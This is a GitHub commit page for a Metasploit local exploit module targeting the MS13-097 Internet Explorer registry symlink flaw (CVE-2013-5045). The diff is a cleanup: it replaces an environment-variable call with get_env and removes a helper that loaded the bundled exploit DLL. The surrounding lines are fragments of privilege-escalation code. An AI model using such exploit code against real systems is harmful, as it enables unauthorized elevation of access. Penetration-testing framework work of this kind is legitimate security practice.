Skip to content

Commit e215bd6

Browse files
committed
Delete unnecessary code and use get_env
1 parent 03889ed commit e215bd6

File tree

1 file changed

+1
-8
lines changed

1 file changed

+1
-8
lines changed

modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb

Lines changed: 1 addition & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -82,7 +82,7 @@ def primer
8282
html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"
8383
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri)
8484

85-
temp = session.sys.config.getenv('TEMP')
85+
temp = get_env('TEMP')
8686

8787
print_status("Loading Exploit Library...")
8888

@@ -124,12 +124,5 @@ def on_request_uri(cli, request)
124124
end
125125
end
126126

127-
def get_dll
128-
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll")
129-
dll = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
130-
131-
dll
132-
end
133-
134127
end
135128

0 commit comments

Comments
 (0)